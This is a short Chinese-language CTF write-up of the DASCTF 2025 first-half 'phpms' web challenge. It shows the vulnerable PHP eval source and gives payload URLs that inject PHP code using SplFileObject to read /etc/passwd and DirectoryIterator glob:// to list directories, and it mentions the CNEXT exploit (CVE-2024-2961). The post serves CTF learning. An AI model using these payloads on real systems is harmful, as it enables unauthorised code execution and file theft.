DASCTF-2025上半年赛 web

OneZ3r0 Lv3

前言

好难啊T T

phpms

git stash 泄露

1
2
3
4
5
6
7
8
<?php
$shell = $_GET['shell'];
if(preg_match('/\x0a|\x0d/',$shell)){
echo ':(';
}else{
eval("#$shell");
}
?>

fuzz了一下disable function没啥用

打php原生类

1
2
3
4
5
6
读文件
index.php?shell=?><?php echo 'File contents: ';$context = new SplFileObject('/etc/passwd');foreach($context as $f){echo($f);} ?>


列目录
index.php?shell=?><?php ini_get('open_basedir');$dir_array = array();$dir = new DirectoryIterator('glob:///*');foreach($dir as $d){$dir_array[] = $d->__toString();}$dir = new DirectoryIterator('glob:///.*');foreach($dir as $d){$dir_array[] = $d->__toString();}sort($dir_array);foreach($dir_array as $d){echo $d.' ';} ?>

但是做到后面没有权限读 hintflag 了,等一手wp

CNEXT(CVE-2024-2961)

看了wp https://www.yuque.com/chuangfeimeiyigeren/eeii37/bkp6ldnifm2k3o1a
真是用cnext配合原生类读文件打,当时做的时候很奇怪,cnext跑差2个字符不一样,没过checkvulnerable,不知道什么情况(可能base64解2次有一些格式上的省略导致的出入?比如等号)

不过我还没打成过cnext,虽然之前遇到有类似的题目,但都不满足cnext利用的条件,所以先在vulhub复现一个感受一下 https://github.com/vulhub/vulhub/tree/master/php/CVE-2024-2961

总算知道了,这个poc脚本得在linux下跑,为此还特地研究了一下wsl2的镜像网络代理(不然真是访问下载太慢了)

image-20250627113537334
image-20250627113537334

  • 标题: DASCTF-2025上半年赛 web
  • 作者: OneZ3r0
  • 创建于 : 2025-06-21 15:04:06
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/06/21/dasctf-2025-first-half/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
DASCTF-2025上半年赛 web